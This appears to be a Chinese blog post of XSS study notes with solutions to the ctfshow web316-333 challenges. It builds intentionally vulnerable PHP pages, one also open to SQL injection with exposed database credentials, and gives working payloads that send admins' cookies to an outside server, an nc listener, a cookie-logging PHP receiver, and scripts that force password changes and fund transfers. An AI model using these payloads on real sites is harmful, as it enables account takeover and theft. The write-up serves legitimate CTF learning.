【CTF-Web】XSS漏洞学习笔记(附ctfshow web316-333题目)

XSS 跨站脚本攻击

What is XSS?

跨站脚本攻击(Cross site Scripting):将任意Javascript代码插入到其他web用户页面里执行达到攻击目的的漏洞

与其他漏洞的区别:其他漏洞是为了攻击网站的服务器和数据库,但是该漏洞是去攻击其他用户。

How to lead XSS?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS漏洞

自己语言的转义:我认为就是在该网站中,比如说存在留言功能,然后攻击者留言了一段恶意代码,这段留言是别的用户也可以访问到的,在其他用户查看这段留言的时候服务器进行解析,导致执行一些危险行为,这个整段过程就是跨站脚本攻击

Where is the XSS?

  1. 数据交互的地方

get post cookies headers

反馈与浏览

富文本编辑器

各类标签插入和定义

  1. 数据输出的地方

用户资料

关键词标签说明

文件上传

一般在ctf中会存在bot机器人 就是明确说明 给一个网址 机器人去访问

Cookie

为了辨别用户身份而存储在客户端上的数据

获取Cookie:

浏览器端(客户端):document.cookie

服务器端(php):$_COOKIE

How to use XSS?

  • 标签闭合逃逸

image-20230830185227975

在界面审查元素我们可以发现输出的结果在p标签内 所以当我们搜索时把p标签闭合 就可以在网页插入其他代码

攻击逻辑:请求带出

在script标签中执行:

window.open  #打开新窗口
window.location.href  #当前界面跳转
location.href

window.open('http://your_ip:port/?cookie=' + btoa(document.cookie))
#btoa实现base64编码
#开启服务器监听 然后将构造的exp给机器人进行访问 从而获得更高权限用户的cookie

反射型XSS

输入什么界面返回什么

我们成功在服务器上部署了一个存在xss漏洞的代码:

<?php
$input = $_GET['input'];

if(isset($input)){
    echo("<h1>".$input."<h1>");    
}
else{
    highlight_file(__FILE__);
}
?>

然后传参,其中参数中包含恶意代码:

http://154.8.183.198/attack/xsstest.php?input=<script>alert("111")</script>

image-20230919114645000

成功弹窗

存储型XSS

存储在服务器中的数据库里面

服务器搭建一波:(不得不提 有自己的服务器太爽了吧哈哈哈 好多东西都立马清楚了 知道怎么实现的了)

首先在服务器创建mysql数据库用来存储信息

库名:xss

表名:message

字段名: id username message varchar(255)

其中需要把id 设置为主键 并且自动增加不为空

当时这个在图形化界面中没有找到怎么设置 就单纯创建好主键后执行了sql语句

ALTER TABLE `message` CHANGE `id` `id` INT(11) NOT NULL AUTO_INCREMENT

image-20230919122424588

到此基本的数据库搭建完成

下面进行基础网页的搭建

<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "ka1mi2CL"; //数据库用户名
$pwd = "gY8mgYWxRAdN"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form  method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
    /*直接将留言插入到数据库中*/
    $username=$_POST['username'];
    $message=$_POST['message'];
    if($username and $message)
    {
        $sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
        if ($conn->query($sql) === TRUE) {
            echo "留言成功"."<br>";
        } else {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
    }else{
        echo "请填写完整信息"."<br>";
    }

    /*查询数据库中的留言信息*/
    $sql = "SELECT username, message FROM message";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
        }
    } else {
        echo "暂无留言";
    }
?>

image-20230919123115852

添加

Dom-Based XSS

最后再来搭建一下基于dom的xss漏洞 其中dom就是指document html中的语法

首先这个东西就是因为代码写的没有验证用户的输入导致

全部发生在客户端 感觉和反射型有些类似哈

具体成因仿照咱们搭建的服务器:

<meta charset="UTF-8">

<script>
    function xss(){
        var str = document.getElementById("src").value;
        document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
    }
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

在这个html文件中实现逻辑是:

用户在输入框中输入图片地址存储到str变量中 然后在xss()函数里面给id为demo的标签设置内容(innerHTML) 内容是加载图片,所以我们输入时放一个无法加载的图片,然后触发onerror事件,在这个事件里面可以触发弹窗,注意构造payload的时候一定要把img标签进行闭合

' onerror=alert("123")>

image-20230919125957569

Then Lets see the XSS in CTF

主要是各种绕过姿势的利用,用自己服务器进行请求带出

此外一般在ctf赛题中,可以让我们输入的连接后台都会有一个robot去点击访问

然后我们需要获取的flag一般藏在后台机器人的登录信息中

各种过滤绕过学习

web316

写的很清楚 反射性XSS嘛

直接开我们的服务器,在服务器写一个恶意文件用于获取题目网站后台机器人请求时留下的信息

image-20230919151844058

就是拿他登录时的cookie ,在这里有两种方法

一个是直接访问我们搭建在服务器的恶意文件,然后利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中

payload:<script>document.location.href='http://xxx:7777/'+document.cookie</script>

另一个是不需要在服务器写内容了 直接是在向服务器发出请求的时候带上cookie 然后在服务器开启nc监听 将获取的请求包拦截可以查看

payload:<script>document.location.href='http://xxxx.xxxx.xxxx.xxxx/XSS.php?1='+document.cookie</script>

BUT: 刚把服务器搭建起来 用的是window的系统 实在太菜了还没能在linux中灵活调用 后面一定学习linux的搭建

所以我们使用第二个方法展开攻击:

在服务器上的恶意文件为:

<?php
$content = $_GET[1];
if(isset($content)){
    //需要把我们获得的信息写入到我们的本地服务器
    file_put_contents('flag.txt',$content);
}else{
    echo 'no date input';
}

利用上的payload攻击

<script>document.location.href='http://154.8.183.198/attack/xss.php?1='+document.cookie</script>

image-20230919151408430

成功生成flag文件 获得flag

image-20230919152326881

可以看出 因为我们不是admin 所以我们访问时带的coolie作为参数是不符合的

但是我们上传的这个连接 后台身为管理员的机器人访问就会有admin的cookie信息啦

Web317-319

传入上题的payload 没反应 换一下标签

<body onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>

Web319-321

过滤了空格

利用: /**/ 或者 /

payload:<body/**/onload="window.open('http://154.8.183.198/attack/xss.php?1='+document.cookie)"></body>

Web322-326 (服力 这些题一个payload 浪费钱了555(

这个是在url中进行匹配 对xss进行过滤 所以我们只需要在服务器中修改一下我们文件名即可 改成x1ss 随意啦~

payload:

<body/**/onload="window.open('http://154.8.183.198/attack/x1ss.php?1='+document.cookie)"></body>

Web327

考点:存储型xss
解题:

和前面316题目一样 两种方法 一个是写文件 实现自动写入一个文件中 如下

前面写过了 不重复

第二种 nc带出 目前已经配置好了 所以介绍一下这个流程

我们在服务器安全组 开放18080这个端口 实现可以访问 然后在信的内容传入这个内容

payload:<script>document.location.href='http:xxx:18080'+document.cookie</script>

在自己的服务器上面开启监听18080端口

nc -lvnp 18080

image-20240130005455173

成功监听到flag

Web328

考点:存储型 Cookie
解题:

image-20240131103418207

发现管理员会看到用户名和密码 所以推测这里可能存在xss漏洞

我们的目的是获得管理员的登录信息

所以注册一个用户名有问题的payload

<script>document.location.href='http:xxx:18080'+document.cookie</script>

监听:nv -lvnp 18080

上面没打通 用文件

<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>
<script>window.open('http:xxx:18080/'+document.cookie)</script>

上面的方法逻辑可能存在问题,这里就记录一下看着玩就好,下面是真正的解题步骤

image-20240607101916947

首先进入之后,明显发现需要提升权限,鉴权的方式是cookie

同时这个界面显示的是用户名和密码仅管理员可见 所以想到通过用户名注入xss语句 反弹管理员的cookie

从而实现伪造登录

<script>document.location.href='http://xxx/111.php?1='+document.cookie</script>

其中111.php内容如下

<?php
$content = $_GET['a'];
echo(1);
if(isset($content)){
	file_put_contents('flag.txt',$content);
	echo('ok');
	echo($content);
}else{
    echo 'no date input';
}

其实查询语句中的参数1和a不一致没有任何影响,我们的目的是带出后面的document.cookie

这样之后 去我们服务器的log日志中查看结果 最好刷新 登录一下哈 可能稍微有点延迟

image-20240607102414691

在access_log中

image-20240607102457182

可以发现是题目的manager.php在不断请求,从而成功带出cookie

然后F12 改一下cookie中phpsessid的值刷新一下

注意这里会一闪而过flag 所以用bp记录一下

image-20240607102636567

Web329

考点:存储型xss 提权

开题和上个界面相同

同样先拿个admin的cookie

image-20240607103413182

但是发现提权失败 可能鉴权的方式不在cookie里面

那么我们既然能通过这种方式带出cookie 能不能直接带出flag呢

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://xxx/111.php?1='+value.innerHTML;}});</script>

解释一下这个payload:

image-20240607104058307

<script>
   $('.laytable-cell-1-0-1').each(function(index, value) {
       if (value.innerHTML.indexOf('ctf' + 'show{') > -1) {
           window.location.href = 'http://xxx/111.php?1=' + value.innerHTML;
       }
   });
</script>

$('.laytable-cell-1-0-1')

  • 通过jQuery选择所有具有类名laytable-cell-1-0-1的元素。
  • $('.className') 是 jQuery 的选择器语法,用于选择HTML页面中所有带有指定类名的元素。

.each(function(index, value) { ... })

  • 对于选择到的每一个元素,执行提供的回调函数。
  • index 是当前迭代的索引(从0开始)。
  • value 是当前迭代的DOM元素。

if (value.innerHTML.indexOf('ctf' + 'show{') > -1)

  • 检查当前元素的内部HTML (innerHTML) 是否包含字符串 'ctfshow{'
  • 由于字符串 'ctf' + 'show{' 会在运行时被连接成 'ctfshow{',这种方式通常用来避免简单的字符串匹配检测(如过滤器)。

window.location.href = 'http://xxx/111.php?1=' + value.innerHTML;

  • 如果条件成立(即innerHTML包含字符串 'ctfshow{'),则将浏览器重定向到 http://xxx/111.php,并在URL中附加查询参数 1,其值为当前元素的 innerHTML
  • 例如,如果 value.innerHTML'ctfshow{example}',浏览器将被重定向到 http://xxx/111.php?1=ctfshow{example}

同样在log日志中成功查到

image-20240607103717769

Web330-331

考点:存储型xss 越权操作
解题:

这两个题相比之前的题目多了一个功能点,修改密码

image-20240607105306382

所以利用逻辑就是通过admin用户自动执行我们传入的用户名的恶意代码,从而相当于在admin自己的界面调用修改密码的接口

在330中

image-20240607110353298

get传参 参数p

管理员本地靶场127.0.0.1

<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>

注册用户名修改后密码为123 直接登录即可 他会很快跳转 所以要在bp中找

在331中

我们自己尝试修改密码 抓到包 发现POST传参 参数是p

image-20240607105437601

从而写一个payload

<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

解释payload

$.ajax({ ... })

  • jQuery的$.ajax方法用于发起一个异步的HTTP请求(AJAX请求)。它可以发送GET、POST等类型的请求,并允许我们处理响应数据。
  • 该方法接收一个配置对象作为参数,其中包含各种设置和回调函数。

url: 'api/change.php'

  • 指定请求的目标URL,即api/change.php。这意味着请求会发送到当前网站的api目录下的change.php文件。

type: 'post'

  • 指定请求的类型为POST。除了POST,还可以是GET、PUT、DELETE等HTTP方法。

data: { p: 123 }

  • 指定发送到服务器的数据。这里是一个包含单个键值对的对象,键为p,值为123
  • 这意味着请求中会包含一个名为p的参数,其值为123

这样传入后 admin自动修改密码为123

直接登录就好

image-20240607105558734

web332-333

考点:xss 越权操作

image-20240607111423501

功能点明显变多了

需要指定钱数购买flag

那么钱从哪来了 必然是管理员 所以还是和修改密码类似 上面是让管理员修改自己的密码 这次是让管理员给我们赚钱

首先还是抓一下接口

image-20240607111736535

可以发现POST传参 两个参数

构造payload 注意这个url路径一定要写全尤其是api前面的斜杠

<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'hhh',a:10000}});</script>

还有一种逻辑

因为可以不断创建新用户 且每个用户用5元初始 所以可以写脚本不断执行这个过程

两题完全一样

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值